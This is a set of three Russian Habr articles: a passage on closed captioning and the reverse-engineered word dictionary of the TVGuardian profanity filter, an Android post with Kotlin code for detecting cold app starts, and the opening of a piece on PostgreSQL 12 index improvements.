Нужно отметить: американские субтитры стандарта вещания NTSC — это не телетекст. Последний разработали тоже в семидесятые, но по другую сторону Атлантического океана, в Великобритании. В телетекст заложили не только передачу субтитров, но и другой текстовой информации.
Вообще, Европа в этом плане радикально отличается от США: телетекст в Америке популярности не снискал. В Норвегии в наши дни 280 тысяч человек [пользуются](https://www.nrk.no/direkte/xl/nrk-tekst-tv-holder-det-gaende.-i-ar-er-den-kantede-grafikken-40-ar-1.16250187) телетекстом каждый день. Для сравнения: в Twitter ежедневно заходят всего 120 тыс. норвежцев.
[](https://habrastorage.org/webt/ss/8p/lo/ss8plohdwhs79mwbk92nv1lolua.jpeg)
*«В 1970-х и 80-х годах многие крупные медиакомпании исследовали новые способы доставки новостей. Они без отдачи вливали сотни миллионов в сервисы телетекста и видеотекста по типу службы Ceefax корпорации „Би-би-си“». Так телетекст описывает Музей журналистики и новостей в Вашингтоне в округе Колумбия. Телетекст существует по сей день, а вот сам музей закрылся в 2019 году. Фотография [Эвана Дэвиса](https://twitter.com/EvanD/status/1622020898826981377?t=dUoxEruwWrDkPLPEMwvejw)*
С середины 1993 года на американском рынке чип декодера субтитров стал обязательной частью телевизоров диагональю от 13 дюймов.
В девяностых вещателей США на законодательном уровне обязали добавлять субтитры в сигнал. В 1990 году принят [закон об американцах с ограниченными возможностями](https://en.wikipedia.org/wiki/Americans_with_Disabilities_Act_of_1990). Телекоммуникационный акт 1996 года вводит восьмилетний план добавления субтитров во все новые телепередачи с 1 января 1998.
### Найти:
Табуированная лексика в английском языке заметно отличается от страны к стране и даже внутри неё.
Американец немедленно выпадет в осадок, если в его присутствии прозвучит слово «cunt». Даже в качестве ругательства такая брань недопустима. В Австралии это слово не приветствуется, но к нему относятся значительно спокойнее: его позволяют себе [члены парламента](https://www.youtube.com/watch?v=5TsNL3uBw1g) или [премьер-министры](https://mashable.com/video/australian-prime-minister-swearing-scott-morrison).
[](https://habrastorage.org/webt/uc/qh/fi/ucqhfivpozznnj4gqgwdq_znjtm.png)
*Исследование [Джека Грива](https://sites.google.com/site/jackgrieveaston/treesandtweets) не учитывает многозначность некоторых слов, но всё равно выявляет, какая замена восклицанию «god» относительно допустима в [библейском поясе](https://ru.wikipedia.org/wiki/%D0%91%D0%B8%D0%B1%D0%BB%D0%B5%D0%B9%D1%81%D0%BA%D0%B8%D0%B9_%D0%BF%D0%BE%D1%8F%D1%81) США*
Религиозный житель американского юга не произнесёт в сердцах даже «hell» или «god». Этим словам существуют замены (так называемые [minced oath](https://en.wikipedia.org/wiki/Minced_oath)) в виде «heck» и «gosh».
### Решение:
На задней части TVGuardian 101 расположен переключатель режимов фильтрации:
* Строгий. Убережёт даже от религиозных восклицаний всуе.
* Умеренный. Допускаются не только упоминания Иисуса, но и альтернативные сексуальные ориентации или детские ругательства уровня «попы» («butt»).
* Без фильтра.
Если приставка обнаружит в субтитрах плохое слово, она временно отключит аудиодорожку. Чтобы не терять смысл, TVGuardian покажет субтитры с заменой произнесённому.
Ещё один трёхпозиционный переключатель настраивает режим их отображения:
* Режим без субтитров, с потерей смысла.
* Субтитры только для замены проблемного слова на допустимый аналог.
* Отображение всех субтитров. Кстати, в результате некоторые [покупали](https://forum.lddb.com/viewtopic.php?f=30&t=9979) TVGuardian как декодер субтитров для старых телевизоров.
*[Retrostuff](https://retrostuff.org/2021/10/27/tvguardian-101-and-201-foul-language-filters/)*
Корпус выполнен грубо и с ошибками:
* «Тюльпаны» для пропуска аудио- и видеосигнала аккуратно размечены, но вот где вход, а где выход, пометки нет.
* Переключатели утоплены глубоко внутрь, и пальцем их поддеть не получится — нужна отвёртка. Возможно, что это намеренно.
* Корпус указывает питание постоянным током 9 В, поставляется приставка с блоком питания в 6 В, а внутри стоит регулятор на 5 В. Куда более важно знать полярность разъёма, но этой информации на корпусе нет.
* Справа сверху от шести «тюльпанов» RCA в дырке скрыта кнопка для переключения телевизионного модулятора между каналами 3 или 4. Назначение переключателя получится узнать только по инструкции.
К счастью, производитель до сих пор [сохраняет](http://tvguardian.info/manuals/TVGuardianOwnersManual101.pdf) эту инструкцию у себя на сайте. Не каждая компания может похвастать таким сроком жизни документации.
*Схема подключения TVGuardian 101 для телевизоров, у которых нет композитного входа, с помощью модулятора. По форме корпуса легко предположить, что когда-то были планы иметь тюнер прямо в приставке. В конечном варианте приставка требует использовать тюнер видеомагнитофона или смотреть кассеты. [Family Safe](https://www.familysafe.com/tvguardian-101-set-technical-information/)*
Установить точный год начала разработки сейчас тяжело.
Идея TVGuardian явно появилась к середине девяностых. Прототип приставки показали на заседании сената США по вопросу насилия на телевидении в 1995 году. По крайней мере, название встречается в [транскрипции слушания](https://www.google.com/books/edition/Television_Violence/cW1IAQAAIAAJ).
На доработку и производство ушли годы. Следующие упоминания TVGuardian в прессе — уже в конце десятилетия. Реклама появляется, к примеру, в 1998 году [в журнале](https://www.google.ru/books/edition/Screen_Digest/F1rvAAAAMAAJ?hl=en&gbpv=1&bsq=tvguardian&dq=tvguardian&printsec=frontcover) Screen Digest, в 1999 — [в журнале](https://www.google.ru/books/edition/Electronics_Now/P8srAQAAMAAJ?hl=en&gbpv=1&bsq=tvguardian&dq=tvguardian&printsec=frontcover) Electronics Now. Сама компания [заявляет](https://www.tvbgone.com/shop/tvguardian-lt/), что запустила устройство в 1998.
Печатные платы первых устройств выполняли со [сквозным монтажом](https://ru.wikipedia.org/wiki/%D0%9C%D0%BE%D0%BD%D1%82%D0%B0%D0%B6_%D0%B2_%D0%BE%D1%82%D0%B2%D0%B5%D1%80%D1%81%D1%82%D0%B8%D1%8F) компонентов, и поэтому масштабирование производства вести было тяжело. В 1999 году приставку переделывают на компоненты с [поверхностным монтажом](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B2%D0%B5%D1%80%D1%85%D0%BD%D0%BE%D1%81%D1%82%D0%BD%D1%8B%D0%B9_%D0%BC%D0%BE%D0%BD%D1%82%D0%B0%D0%B6). Так и получилась модель 101. Заметно, что на печатной плате оставили оба варианта монтажа микросхем микроконтроллера и процессора, поскольку иногда возникали проблемы с поставками.
*На чип со словарём плохой лексики нанесена наклейка 1.06, указывающая на версию прошивки. Хотя сам чип допускает перезапись, на плате ножка микросхемы PE для переключения в режим программирования постоянно заземлена, то есть работает он в режиме только для чтения. А жаль: легко представить обновления софта, выпускаемые с помощью видеокассет. [Retrostuff](https://retrostuff.org/2021/10/27/tvguardian-101-and-201-foul-language-filters/)*
Производитель заломил ценник в $100, но «под капотом» TVGuardian 101 не впечатляет. Вот компоненты в ревизии B:
* U3A — 8-битный CMOS-микроконтроллер [Microchip PIC16C622A](http://ww1.microchip.com/downloads/en/devicedoc/30235j.pdf) (2 КиБ ПЗУ, 128 байт ОЗУ)
* U6A — память EEPROM [Microchip 93LC86](https://ww1.microchip.com/downloads/en/DeviceDoc/21131F.pdf) объёмом 16 килобит.
* U7 — четыре двунаправленных переключателя [Philips 74HC4066](https://assets.nexperia.com/documents/data-sheet/74HC_HCT4066.pdf).
* U8 — [NJRC NJM2207](https://www.nisshinbo-microdevices.co.jp/en/pdf/old_pdf/NJM2207_E.pdf) для отображения текста в видеопотоке.
* U9A — декодер строки 21 стандарта вещания NTSC [Zilog Z86129](http://www.zilog.com/docs/tv/z86129.pdf).
* U10 — двухканальный маломощный операционный усилитель [NS LM358](https://www.ti.com/lit/ds/symlink/lm158-n.pdf?HQS=TI-null-null-alldatasheets-df-pf-SEP-wwe&ts=1634887955619&ref_url=https%253A%252F%252Fpdf1.alldatasheet.es%252F).
* U11 — сдвоенный компаратор напряжения [NS LM393](https://www.ti.com/lit/ds/symlink/lm393-n.pdf?HQS=TI-null-null-alldatasheets-df-pf-SEP-wwe&ts=1634888234283&ref_url=https%253A%252F%252Fwww.alldatasheet.es%252F).
Вообще, в [патенте](https://patents.google.com/patent/US8245252B2/en) компании содержится много разных теоретически возможных идей, например, идентификация и замена насилия в видеопотоке. Но работа в приставке идёт только с текстом.
Микроконтроллер U3A получает данные с субтитрами от декодера U9A и сравнивает их со специально составленным словарём в ПЗУ U6A. Если выставленные пользователем настройки того требуют, аудиосигнал будет временно заглушён переключателем U7, а на экране будут нарисованы субтитры чипом U8.
Содержимое словаря — это самая интересная часть, поскольку даже в инструкции перечислены только примеры допускаемых ругательств для умеренного режима фильтрации. На данный момент как минимум четыре энтузиаста независимо друг от друга брались за реверс-инжиниринг приставки и слили в сеть словари версий 1.05 и 1.06.
*Это — весь словарь версии 1.06. Он содержит не только ругательства, но также флаги для методов замены и фильтрации. [Retrostuff](https://retrostuff.org/2021/10/27/tvguardian-101-and-201-foul-language-filters/)*
Бен Итер [выложил](https://docs.google.com/spreadsheets/d/16D8GInFz3gchiAccVIclhMDHxzTxNQVli1lYfrW-m4s/edit#gid=0) словарь версии 1.06 в таблице на Google Sheets с попыткой понять механизмы его работы. Фун распарсил и [опубликовал](https://gist.github.com/foone/c26c08b9790c68865252e4c561b389b0) словарь версии 1.05, тоже оценив возможные флаги данных. Ещё один энтузиаст [выложил](https://drive.google.com/file/d/1gJswWcz4ElRCmPqfedG9wtqFyFnH4u5q/view?usp=sharing) просто полный дамп словаря 1.05.
Удивительно, но небольшого списка на 2 КиБ хватает для относительно успешной фильтрации всего современного английского языка. Дело в хитрой организации данных.
Слова и фразы разбиты на восемь блоков по 256 байтов и перечислены в алфавитном порядке. Прошивка заполнена не под завязку, в некоторых блоках есть много места с пустыми символами `0x00`. Так получилось, поскольку разные блоки содержат разные диапазоны первых букв слов и выражений. Например, во второй блок сложены слова и словосочетания на «D», «E» и «F».
В седьмом блоке находятся слова для замены. Последний, восьмой блок — это информация о производителе и авторских правах.
Слова для замены в седьмом блоке отделены друг от друга байтом `0x00`. Слова в шести первых блоках отделяются байтом, в котором закодированы указание на серьёзность ругательства и, если нужно, адрес слова-замены.
Байт легко распотрошить на восемь двоичных чисел.
| Разряд бита в байте | Предполагаемое значение |
| --- | --- |
| 1 | Номер слова-замены в седьмом блоке.
5 бит кодируют до 32 возможных состояний. В словаре действительно 30 слов, одно многоточие и одно пустое место. |
| 2 |
| 3 |
| 4 |
| 5 |
| 6 | Входит ли слово в белый список (`1`) или это ругательство для фильтрации (`0`). |
| 7 | Фильтровать ли в умеренном и строгом режимах (`0`) или только в строгом (`1`). |
| 8 | Входит ли слово в словарь замены (`0`) или это одно из слов чёрного/белого списка (`1`).
Для всех слов в шести первых блоках байт-разделитель начинается с единицы (то есть 8-й разряд равен 1). |
Слова из белого списка имеют два типа:
* Ложные срабатывания, которые нужно пропускать всегда.
Слово «cum» ознает «кончать», если это глагол, или соответствующую секрецию, если имя существительное. Фраза `MAGNA CUM` (часть латинской фразы «magna cum laude» для обозначения закончивших учебное заведение с отличием) в фильтрацию попадать не будет.
Кстати, ещё бывает «summa cum laude», но составитель словаря про него забыл. (Именно забыл — в блоке со словами на «S» место ещё было.)
В этом случае номер слова-замены будет выставлен `00000`.
* Некоторые из слов — это артикли, предлоги и союзы.
Словарь требует вырезать `THE FUCK` из выражений вида «What the fuck?», превращая их в «What?». Вероятно, что в силу особенностей работы алгоритмов, для предотвращения ложных срабатываний пришлось добавить в белый список всякие `THE` и `HIS`.
В этом случае номер слова-замены будет выставлен `00001`.
Список забавен. К примеру, под цензуру попало не самое популярное «nooner», которым американцы обозначают половой акт в середине дня. Вместо этого на экране появится «kiss». «Поцелуем» приставка назовёт даже групповое изнасилование («gangbang»), но вряд ли корявая замена будет самой большой проблемой, если такое слово вообще звучит из телевизора.
Другая интересная деталь: слово «gay» при цензуре заменяется само в себя, в «gay». Это нужно для режима работы без отображения замен. Если пользователь выбрал режим без каких-либо субтитров (и строгий режим фильтрации — такая метка стоит у «gay»), никакой гомосексуализм ни в уши, ни в глаза не попадёт.
Иногда в субтитрах в особо грубых бранных словах часть слогов закрыта звёздочками или иными символами. Словарь предугадывает подобное, поэтому содержит брань не в полном виде. Например, вместо `BULLSHIT` в ПЗУ записано `BULLSH`.
### Оценка:
Как правило, откопавшие TVGuardian в вонючих залах магазинов Goodwill относятся к самой идее устройства свысока. К примеру, обзорщик [может отфильтровать](https://www.youtube.com/watch?v=ZiXg6H_FycI) через приставку криминальную драму «[Славные парни](https://ru.wikipedia.org/wiki/%D0%A1%D0%BB%D0%B0%D0%B2%D0%BD%D1%8B%D0%B5_%D0%BF%D0%B0%D1%80%D0%BD%D0%B8)», а затем заявить: матюки запиканы, но от насилия и секса на экране спасу нет.
Вторая причина для критики: сам принцип ошибочен. В фильмах субтитры иногда идут с рассинхроном речи, а не точно в тот же момент, когда персонаж на экране говорит свою реплику. Часть субтитров показывается сразу для двух говорящих персонажей. Наконец, нехорошему всегда научат сверстники в школе.
Впрочем, производитель не даёт обещаний по поводу воспитания детей и даже сам признаёт, что приставка часть ругани неизбежно пропустит. Прямо на упаковке он приводит статистику «просочившихся» нехороших слов.
*Примеры эффективности работы с коробки TVGuardian модели 201, [Retrostuff](https://retrostuff.org/2021/10/27/tvguardian-101-and-201-foul-language-filters/)*
*Примеры эффективности работы [с сайта TVGuardian](https://www.tvguardian.com/)*
Статистика собрана на фильмах категорий PG и PG-13, а не кино для старших возрастных категорий R или, пока он ещё применялся, рейтинга NC-17. TVGuardian решает несколько иную проблему.
Система возрастных рейтингов Американской киноассоциации задумана как руководство для родителей, но зритель смотрит на эти буквы для оценки интересности картины. Иногда студии даже сами мечтают получить рейтинг повыше. Если нужен рейтинг R для издания на видео, а с первого раза «взрослый» шильдик не дали, картину повторно [отправят](https://www.hollywoodreporter.com/movies/movie-news/lessons-30-years-movie-ratings-angry-phone-calls-1213531/) цензорам с несколькими дополнительными «fuck».
Самые «младшие» рейтинги G и PG стали синонимом детских развлечений, поскольку фильмы такой категории Американская киноассоциация допускает к просмотру любым возрастным категориям. Это не повод для гордости, а чёрная метка: никто не хочет смотреть кино для дошколят.
Если нужно добиться хотя бы PG-13 или даже R для кинотеатров, в сценарий фильма намеренно добавляют несколько лёгких ругательств по типу «damn», «shit» или «hell». Жизни картины в дальнейшем это не помешает. Для трансляции по телевидению [могут](https://www.youtube.com/watch?v=H-y1PAUtv3k) даже лифчик ротоскопировать, чтобы прикрыть женскую грудь, а эта лишняя брань обычно вставлена в незначительный диалог и без проблем удаляется или заменяется.
У явления [много задокументированных примеров](https://tvtropes.org/pmwiki/pmwiki.php/AvoidTheDreadedGRating/LiveActionFilms). Вот только один из них: «Прибытие» 2016 года в целом проходит в PG. Точная f-бомба в исполнении Джереми Реннера в одной из сцен торпедировала рейтинг строго в PG-13. Впрочем, это правильно, поскольку такую сложную научную фантастику восьмилетний ребёнок не осилит.
*Легендарная тирада про «motherfucking snakes» в «[Змеином полёте](https://ru.wikipedia.org/wiki/%D0%97%D0%BC%D0%B5%D0%B8%D0%BD%D1%8B%D0%B9_%D0%BF%D0%BE%D0%BB%D1%91%D1%82)» появилась с целью повысить возрастной рейтинг фильма, который изначально с трудом наскрёб хотя бы PG-13. Также для фильма [досняли](https://www.cbr.com/movie-legends-revealed-how-did-the-internet-change-snakes-on-a-plane/) откровенную сцену секса, чтобы получить полноценный R*
Можно ли понять родителей, которые хотят убрать эти ругательства, добавленные в подростковое кино только ради маркетинга и продаж?
---
Блог Christians Who Curse Sometimes (буквально «Христиане, которые иногда используют ругательства») [сумел найти](https://christianswhocursesometimes.com/christians-share-the-funniest-ways-tvguardian-censored-curse-words/) несколько отзывов от людей, которые росли под присмотром коробочки для дезинфекции телеэфира.
Набора слов хватало, но в некоторых контекстах результат наоборот напоминал о неприличных смыслах многозначных слов.
К примеру, один из главных персонажей «Истории игрушек» — ковбой Вуди. Слово «woody» убиралось, поскольку в одном из значений звучит как «стоячок». Аналогичная судьба ждала любых Ричардов (сокращённая форма имени — Dick).
Реалити-шоу Survivor (адаптация британского Expedition Robinson, в России аналог известен как «Последний герой») иногда упоминало «water jugs», фляги с водой. Слово «jugs» TVGuardian бездумно вырезал: как в основном, так и в переносном значении это слово — побратим русскому «бидоны».
Другая проблема — как замены звучат в речи. «Sex» всегда превращалось в «hugs», «обнимашки», и «they had hugs» даже звучит подозрительно грязно. А ещё у слова есть значение «пол», что примитивный словарь не учитывал («What’s the baby’s hugs?»).
*Выходные разъёмы TVGuardian 501 HD, [TVGuardian.com](https://www.tvguardian.com/tvguardian-501-hd/)*
Дело не закончилось одной моделью: производитель [выпустил](https://www.familysafe.com/compare-profanity-filters/) пять поколений устройств, постепенно переключившись на цифровое телевидение. Но за выпущенной в начале 2010-х годов моделью 501 HD новых продуктов не последовало, стриминг и планшеты покорить не удалось. А современные дети даже телевизор больше не включают, предпочитая часами свайпать TikTok или наблюдать анбоксинг игрушек на YouTube.
Небольшой спрос существовал. По крайней мере, некоторые из [отзывов](https://www.amazon.com/TVGuardian-HD-Model-501-Profanity/product-reviews/B004GW08KA) на Amazon упоминают, что покупают TVGuardian далеко не впервые. Сейчас приставок в продаже больше нет, и средний рейтинг продукта навечно замер на 3,4 баллах из 5.
Как показывает пример TVGuardian, иногда хватает работы на «троечку». Даже технически несовершенное решение помогло создать свою нишу и продаваться в ней.
По материалам [National Captioning Institute](https://web.archive.org/web/20110719060406/http://www.ncicap.org/caphist.asp), Hackaday ([1](https://hackaday.com/2021/04/14/history-of-closed-captions-the-analog-era/), [2](https://hackaday.com/2022/12/14/the-story-behind-the-tvguardian-curse-catcher/)), [Joan Ganz Cooney Center](https://joanganzcooneycenter.org/2014/11/17/can-you-caption-how-to-get-how-to-get-to-sesame-street/), [Retrostuff](https://retrostuff.org/2021/10/27/tvguardian-101-and-201-foul-language-filters/), [видеоотчёта Бена Итера](https://www.youtube.com/watch?v=a6EWIh2D1NQ), [треда в Twitter Фуна Тьюринга](https://twitter.com/Foone/status/1590408707556675584), [файлов Джейсона](https://drive.google.com/drive/folders/1U7RUHDTdlFYM6e2MgMSqEj-a6NPuFukc) и [партнёрской новостной вставки главы TVGuardian Рика Брэя](https://www.youtube.com/watch?v=5vUjYlYm8cE). | https://habr.com/ru/post/715518/ | null | ru | null |
# Android Vitals — Это холодный старт?
Эта серия блогов посвящена мониторингу стабильности и производительности приложений Android в продакшне. В последних двух постах я описал то, что происходит с момента, когда [пользователь нажимает на ярлык запуска программы](https://dev.to/pyricau/android-vitals-diving-into-cold-start-waters-5hi6), до момента [отрисовки первой activity](https://dev.to/pyricau/android-vitals-rising-to-the-first-drawn-surface-1j9e) на мониторе.
**Холодный запуск** — это запуск activity, при котором происходит старт процесса приложения с нуля в ответ на намерение запустить activity. Согласно [документации по времени запуска приложения](https://developer.android.com/topic/performance/vitals/launch-time#cold):
Этот тип запуска представляет наибольшую проблему с точки зрения минимизации времени старта, поскольку системе и приложениям приходится выполнять больше работы, чем в других состояниях при включении.
Мы рекомендуем всегда проводить оптимизацию на основе предположения о холодном запуске. Это может улучшить показатели теплого и горячего старта.
Чтобы оптимизировать холодный запуск, его необходимо измерить, это означает, что нам нужно отслеживать время холодного запуска в продакшне.
К сожалению, в Android нет API `Activity.isThisAColdStart()`. Так задумано: [API жизненного цикла Activity](https://developer.android.com/guide/components/activities/activity-lifecycle) указывают, когда сохранять и восстанавливать состояние, и абстрагируются от смерти и возрождения процессов. Инженеры, разработавшие API для Android, не хотели, чтобы мы писали слишком сложный код со специальными случаями для всех различных способов запуска activity. Поэтому API не существует.
**Как мы должны отслеживать холодный запуск, если не можем отличить его от любого другого запуска процесса?**
В этой заметке мы используем то, что выяснили из наших предыдущих глубоких погружений в тему холодного старта, чтобы начать создавать собственную версию отсутствующего API `Activity.isThisAColdStart()`.
### Традиционный подход
Большинство приложений и библиотек информируют о холодном старте, если первая Activity была создана в течение минуты после запуска приложения. Это выглядит примерно так:
```
class MyApp : Application() {
override fun onCreate() {
super.onCreate()
val appCreateMs = SystemClock.uptimeMillis()
var firstActivityCreated = false
registerActivityLifecycleCallbacks(object :
ActivityLifecycleCallbacks {
override fun onActivityCreated(
activity: Activity,
savedInstanceState: Bundle?
) {
if (firstActivityCreated) {
return
}
firstActivityCreated = true
val activityCreateMs = SystemClock.uptimeMillis()
if (activityCreateMs - appCreateMs < 60_000) {
// TODO Report cold start
}
}
})
}
}
```
К сожалению, этот подход также включает случаи, когда приложение запускалось для отклика на широковещательный приемник, запрос контент-провайдера или для пуска сервиса, после чего несколько позже, в течение первой минуты, начинала выполняться activity. Необходимо исключить эти случаи из мониторинга холодного запуска, чтобы избежать искажения результатов.
### Использование результатов нашего исследования
В [предыдущей статье блога](https://dev.to/pyricau/android-vitals-rising-to-the-first-drawn-surface-1j9e) мы узнали, что:
* Когда запускается процесс приложения, он вызывает [ActivityThread.main()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/ActivityThread.java;l=7350;drc=d9b11b058c6a50fa25b75d6534a2deaf0e62d4b3), который выполняет блокирующий вызов IPC для [ActivityManagerService.attachApplication()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java;l=5213;drc=69e700c7922c34583bddbab4b7ce78adadb90730) в процессе `system_server`.
* Процесс `system_server` выполняет IPC-вызов для [ActivityThread.bindApplication()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/ActivityThread.java;l=1005;drc=69e700c7922c34583bddbab4b7ce78adadb90730) в процессе приложения, который ставит сообщение `BIND_APPLICATION` в очередь сообщений основного потока.
* Затем для каждой activity, которую необходимо запустить, процесс `system_server` выполняет IPC-вызов для [ActivityThread.scheduleTransaction()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/ActivityThread.java;l=1679;drc=69e700c7922c34583bddbab4b7ce78adadb90730;bpv=1;bpt=1) в процессе приложения, который регистрирует сообщение `EXECUTE_TRANSACTION` в очереди сообщений главного потока.
* Когда IPC вызов для [ActivityManagerService.attachApplication()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/services/core/java/com/android/server/am/ActivityManagerService.java;l=5213;drc=69e700c7922c34583bddbab4b7ce78adadb90730) завершен, [ActivityThread.main()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/ActivityThread.java;l=7350;drc=d9b11b058c6a50fa25b75d6534a2deaf0e62d4b3) затем вызывает [Looper.loop()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/os/Looper.java;l=153;drc=bc3d8b9071d4f0b2903d6836770d974e70366290), который зацикливается и обрабатывает сообщения, отправленные в его [MessageQueue](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/os/MessageQueue.java;l=41;drc=69e700c7922c34583bddbab4b7ce78adadb90730).
* Первым обрабатывается сообщение `BIND_APPLICATION`, которое вызывает [ActivityThread.handleBindApplication()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/ActivityThread.java;l=6162;drc=69e700c7922c34583bddbab4b7ce78adadb90730), который вызывает [Application.onCreate()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/ActivityThread.java;l=6500;drc=d9b11b058c6a50fa25b75d6534a2deaf0e62d4b3).
* Следующим обрабатываемым сообщением является `EXECUTE_TRANSACTION`, которое вызывает [TransactionExecutor.execute()](https://cs.android.com/android/platform/superproject/+/master:frameworks/base/core/java/android/app/servertransaction/TransactionExecutor.java;l=69;drc=69e700c7922c34583bddbab4b7ce78adadb90730), запускающий activity.
Это означает, что в `Application.onCreate()` в очереди сообщений главного потока уже зарегистрировано сообщение `EXECUTE_TRANSACTION`. Если мы отправим новое сообщение из `Application.onCreate()`, оно будет выполнено после `EXECUTE_TRANSACTION` и, следовательно, после создания `activity`. Если мы публикуем сообщение, а в момент его выполнения `activity` не была создана, тогда понятно, что это не холодный старт, даже если `activity` в итоге будет запущена через 20 секунд.
Вот как мы можем определить холодный старт:
```
class MyApp : Application() {
override fun onCreate() {
super.onCreate()
var firstActivityCreated = false
registerActivityLifecycleCallbacks(object :
ActivityLifecycleCallbacks {
override fun onActivityCreated(
activity: Activity,
savedInstanceState: Bundle?
) {
if (firstActivityCreated) {
return
}
firstActivityCreated = true
}
})
Handler().post {
if (firstActivityCreated) {
// TODO Report cold start
}
}
}
}
```
### Теплый запуск
Согласно [документации по времени запуска приложения](https://developer.android.com/topic/performance/vitals/launch-time#warm):
Существует множество потенциальных состояний, которые могут считаться теплым запуском. Например:
* Пользователь выходит из вашего приложения, но затем снова запускает его. Процесс может продолжать выполняться, но приложение должно воссоздать activity с нуля через вызов `onCreate()`.
* Система вытесняет ваше приложение из памяти, а затем пользователь снова запускает его. Процесс и activity должны быть перезапущены, но при этом задача может получить некоторую выгоду от сохраненного пакета состояний инстанса, переданного в `onCreate()`.
Таким образом, если activity создается с сохраненным пакетом состояний инстанса, то это не должно считаться холодным стартом. Поскольку процесс должен быть перезапущен, необходимо проделать гораздо больше работы, чем просто создать activity. Назовем это "теплым стартом".
Чтобы это учесть, можно обновить наш код:
```
class MyApp : Application() {
override fun onCreate() {
super.onCreate()
var firstActivityCreated = false
var hasSavedState = false
registerActivityLifecycleCallbacks(object :
ActivityLifecycleCallbacks {
override fun onActivityCreated(
activity: Activity,
savedInstanceState: Bundle?
) {
if (firstActivityCreated) {
return
}
firstActivityCreated = true
hasSavedState = savedInstanceState != null
}
})
Handler().post {
if (firstActivityCreated) {
if (hasSavedState) {
// TODO Report lukewarm start
} else {
// TODO Report cold start
}
}
}
}
}
```
### Заключение
Команда платформы Android не хочет, чтобы нам приходилось ломать голову над запуском процессов и activity, однако команда разработчиков улучшения производительности приложений Android настаивает на оптимизации холодного старта. Вызов принят! Мы начинаем создавать свою собственную версию отсутствующего API `Activity.isThisAColdStart()`, но до завершения работы еще далеко. Оставайтесь с нами, чтобы узнать больше!
---
> Материал подготовлен в рамках [специализации «Android Developer».](https://otus.pw/kvQ5/)
>
> Всех желающих приглашаем на бесплатный интенсив «**Делаем упрощенный аналог приложения Notion**». В рамках двухдневного интенсива мы сделаем упрощенный аналог приложения Notion для платформы Android.
>
> Этот урок подойдет для тех, кто:
> - хочет попробовать себя в качестве Андроид-разработчика
> - уже знаком с программированием и знает принципы ООП
> - имеет опыт программирования для других платформ
>
> [→ РЕГИСТРАЦИЯ](https://otus.pw/4EbD/)
>
> | https://habr.com/ru/post/593743/ | null | ru | null |
# Апгрейд для ленивых: как PostgreSQL 12 повышает производительность
[PostgreSQL 12](https://www.postgresql.org/), последняя версия «лучшей в мире реляционной базы данных с открытым исходным кодом», выходит через пару-тройку недель (если все пойдет по плану). Это соответствует обычному расписанию — новая версия с уймой новых возможностей выходит раз в год, и, честно говоря, это впечатляет. Поэтому я и стал активным членом сообщества PostgreSQL.
По-моему, в отличие от прошлых выпусков, PostgreSQL 12 не содержит одной-двух революционных функций (как, например, секционирование или параллелизм запросов). Я как-то пошутил, что главная фишка PostgreSQL 12 — в большей стабильности. А разве не это нужно, когда вы управляете критически важными данными вашего бизнеса?
Но PostgreSQL 12 этим не ограничивается: с новыми возможностями и усовершенствованиями приложения будут работать лучше, *а от вас всего-навсего требуется сделать апгрейд!*
(Ну, может, еще индексы перестроить, но в этом релизе это не так страшно, как мы привыкли.)
Вот будет здорово — апгрейднуть PostgreSQL и сразу наслаждаться значительными улучшениями без лишних телодвижений. Несколько лет назад я анализировал обновление с PostgreSQL 9.4 до PostgreSQL 10 и увидел, как ускорилось приложение благодаря улучшенному параллелизму запросов в PostgreSQL 10. И, главное, от меня почти ничего не требовалось (всего-то задать параметр конфигурации `max_parallel_workers`).
Согласитесь, удобно, когда сразу после апгрейда приложения работают лучше. А мы очень стараемся радовать пользователей, ведь у PostgreSQL их все больше.
И как же простой апгрейд до PostgreSQL 12 сделает вас счастливым? Сейчас расскажу.
### Серьезные улучшения индексирования
Без индексирования база данных далеко не уедет. А как еще быстро находить информацию? Фундаментальная система индексирования PostgreSQL называется [B-дерево](https://en.wikipedia.org/wiki/B-tree). Этот тип индекса оптимизирован для систем хранения.
Мы просто используем оператор `CREATE INDEX ON some_table (some_column)`, а PostgreSQL проделывает большую работу, чтобы поддерживать актуальность индекса, пока мы постоянно вставляем, обновляем и удаляем значения. Все работает само по себе, как по волшебству.
Но у индексов PostgreSQL есть одна проблема — они [раздуваются](https://info.crunchydata.com/blog/checking-for-postgresql-bloat) и занимают лишнее место на диске, а производительность извлечения и обновления данных снижается. Под «раздуванием» я подразумеваю неэффективное поддержание индексной структуры. Это может быть — а может и не быть — связано с мусорными кортежами, которые удаляет [VACUUM](https://www.postgresql.org/docs/current/sql-vacuum.html) (спасибо за информацию Питеру Гейгану ([Peter Geoghegan](https://twitter.com/petervgeoghegan))). Раздувание индекса особенно заметно в рабочих нагрузках, где индекс активно изменяется.
PostgreSQL 12 серьезно улучшает работу индексов B-дерева, и эксперименты с тестами типа TPC-C показали, что места теперь используется, в среднем, на 40% меньше. Теперь мы тратим меньше времени не только на обслуживание индексов B-дерева (то есть на операции записи), но и на извлечение данных, ведь индексы стали гораздо меньше.
Приложения, которые активно обновляют свои таблицы — обычно это OLTP-приложения ([обработка транзакций в режиме реального времени](https://en.wikipedia.org/wiki/Online_transaction_processing)) — будут гораздо эффективнее использовать диск и обрабатывать запросы. Чем больше на диске места, тем больше у базы данных пространства для роста без апгрейда инфраструктуры.
Некоторые стратегии апгрейда требуют перестроить индексы B-дерева, чтобы воспользоваться этими преимуществами (например, [pg\_upgrade](https://www.postgresql.org/docs/current/pgupgrade.html) не перестроит индексы автоматически). В предыдущих версиях PostgreSQL перестройка больших индексов в таблицах приводила к значительному простою, ведь в это время нельзя было вносить изменения. Но в PostgreSQL 12 есть еще одна классная фишка: теперь можно перестраивать индексы параллельно командой [REINDEX CONCURRENTLY](https://www.postgresql.org/docs/12/sql-reindex.html), чтобы совсем избежать простоя.
